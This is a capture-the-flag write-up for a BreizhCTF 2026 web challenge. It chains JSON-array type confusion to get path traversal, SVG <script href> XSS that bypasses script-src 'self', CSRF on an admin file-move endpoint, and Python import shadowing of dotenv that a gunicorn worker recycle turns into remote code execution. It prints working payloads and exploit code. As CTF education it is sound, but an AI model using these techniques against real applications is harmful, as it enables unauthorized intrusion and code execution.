pwneglyph logo
web web-server web-client xss svg csp-bypass script-src-self svg-script-href json-type-confusion type-juggling path-traversal file-upload mimetypes-guess-type nosniff csrf gunicorn max-requests module-shadowing python-import-hijack dotenv rce playwright-bot

Slip a path-traversal filename past an any(s in filename) blacklist by sending it as a one-element JSON array, planting JS in /static/js/. Load it from an uploaded SVG via <script href> to beat script-src 'self' and get admin XSS, then CSRF /api/admin/files/move to shadow python-dotenv in the app root and trip gunicorn's --max-requests worker recycle for RCE.

No thanks, I use AI — JSON-array traversal → SVG/CSP XSS → dotenv import-shadow RCE

CTF: BreizhCTF 2026 · Category: Web (client + server) · Author: crazycat256 · 5 solves (first blood)

Challenge overview

A Flask chat app (websocket chat, user search, file sharing, link previews) plus a Playwright admin bot that periodically logs in as admin, opens unread conversations, and dwells ~2s on each. The goal is RCE on the instance to read a randomly-named, appuser-only flag at /.

Key infrastructure facts (entrypoint.sh):

FLAG_FILE="/flag-$(openssl rand -hex 8).txt"; chown appuser "$FLAG_FILE"; chmod 440 "$FLAG_FILE"
gosu appuser sh -c 'cd /app && gunicorn -k gevent -w 1 -b 0.0.0.0:5000 \
    --max-requests 100 ... app:app' &     # <-- worker recycles every 100 requests
gosu botuser sh -c 'cd /bot && python bot.py' &

--max-requests 100 means the worker (and thus the whole Python app + its imports) is reloaded every 100 requests — the seed for the RCE. The bot runs as botuser and cannot read the flag; only appuser (the app) can — so we need code execution inside the app, not just XSS.

CSP applied to every response:

default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline' *;
img-src 'self' data:; connect-src 'self'; frame-src *;

Cookies are HttpOnly + SameSite=Strict, but there are no CSRF tokens — so admin XSS ⇒ we can forge admin requests.

Step 1 — XSS on the admin bot

Link previews render any URL in a message inside an <iframe src=url> (appendLinkifiedText). So if we can host a page that executes JS same-origin, DM the bot a link to it and the iframe runs our code.

SVG to carry script under img-src/upload rules

/uploads/<file> only serves the real MIME type for images, else application/octet-stream + nosniff:

mimetype = mimetypes.guess_type(filename)[0]
if not mimetype or not mimetype.startswith("image/"):
    mimetype = "application/octet-stream"
response.headers["X-Content-Type-Options"] = "nosniff"

.svgimage/svg+xml (starts with image/), and SVG can carry script. But script-src 'self' blocks inline script, so use SVG's external-script form (<script href=...>) pointing at a same-origin JS file:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script href="/static/js/poc.js%27%5D"></script>
</svg>

Now we need our JS to live at a same-origin path that serves a JS content-type — /uploads/ won't (octet-stream + nosniff), but /static/js/ will. So we must write into /static/js/.

JSON-array type confusion to bypass the traversal blacklist

Upload validates the filename with a substring blacklist, then resolves with os.path.abspath:

if any(s in filename for s in ("/", "\\", "..", "~")):
    return jsonify({"error": "Invalid filename"}), 400
file_path = os.path.abspath(f"uploads/{filename}")

filename comes from JSON with no type check. Send it as a one-element list: any(s in filename ...) then tests membership in the list (is "/" an element of ["..."]? no) instead of substring in the string. The check passes, and f"uploads/{filename}" stringifies the list back, leaving a harmless trailing ']:

s.post(URL + "api/upload", json={
    "filename": ["/../../static/js/poc.js"],     # blacklist sees a list, not the path
    "content": base64_js,
})
# lands at /static/js/poc.js']  (note the trailing ']) -> served with correct JS mime
$ curl 'http://target/static/js/poc.js%27%5D'
alert("woohooo xss");

The SVG's href="/static/js/poc.js%27%5D" (URL-encoded ']) loads it → same-origin JS, CSP satisfied. DM the bot http://target/uploads/poc.svg; its preview iframe renders the SVG → XSS as admin.

Step 2 — admin XSS → RCE via import shadowing

With admin JS execution and no CSRF protection, drive the admin-only endpoints.

Plan: shadow dotenv in the app root

app.py imports from dotenv import load_dotenv early and barely uses it. If a dotenv.py sits in the app root (/app), it shadows the real python-dotenv (the script directory is first on sys.path). On the next worker reload, import dotenv runs our module:

# dotenv.py  (planted in /app)
import os
os.system("cat /flag-* > /app/uploads/flag.txt")   # app runs as appuser -> can read the flag
def load_dotenv(*a, **k): pass                       # keep app.py import happy

Getting dotenv.py into /app

The upload traversal can write to /static/js/ but always appends '], so it can't produce a clean /app/dotenv.py. Instead, upload dotenv.py normally (lands in uploads/), then abuse the admin /api/admin/files/move, which has no validation on new_filename:

src_path = os.path.abspath(f"uploads/{filename}")
dst_path = os.path.abspath(f"uploads/{new_filename}")   # ../dotenv.py -> /app/dotenv.py
shutil.move(src_path, dst_path)

Admin XSS payload to perform the move (same-origin fetch, cookies ride along):

(async () => {
  await fetch('/api/admin/files/move', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ filename: 'dotenv.py', newFilename: '../dotenv.py' })
  });
})();

Trip the worker recycle

dotenv.py is now at /app/dotenv.py. Fire 100 requests to hit --max-requests 100; gunicorn recycles the worker, re-imports dotenv, runs our os.system, and drops the flag where we can fetch it:

for _ in range(100): s.get(URL)        # force worker reload
# ...
print(s.get(URL + "uploads/flag.txt").text)

Flag: BZHCTF{Dyn4m1cly_typ3d_l4ngu4g3s_4r3_g00d_f0r_s1mpl1c1ty_but_b4d_f0r_s3cur1ty!}

Takeaways (generalized techniques)

  • JSON type confusion vs. string filters: any(x in field ...), field.startswith(...), "..." in field all behave differently when field is a list/dict. If input is JSON with no type check, pass a one-element array to make substring checks become membership checks — bypassing path-traversal/character blacklists. The reconstructed f"...{field}" often still yields a usable path (here with a harmless trailing ']).
  • SVG + script-src 'self': SVG counts as an image (mimetypes.guess_typeimage/svg+xml) and can execute script; <script href="/same/origin.js"> loads external same-origin JS, sidestepping script-src 'self' (which only blocks inline). Land that JS on a path that serves a real JS MIME (/static/...), not an octet-stream+nosniff upload route.
  • No CSRF tokens + admin XSS = full admin API access via same-origin fetch.
  • Python import shadowing: dropping <libname>.py in the app's root dir (first on sys.path) hijacks import <libname>. Target an early, lightly-used import (e.g. dotenv).
  • gunicorn --max-requests N recycles the worker every N requests, re-running imports — a reliable trigger to execute a freshly planted module without restarting the service yourself.

Sources & references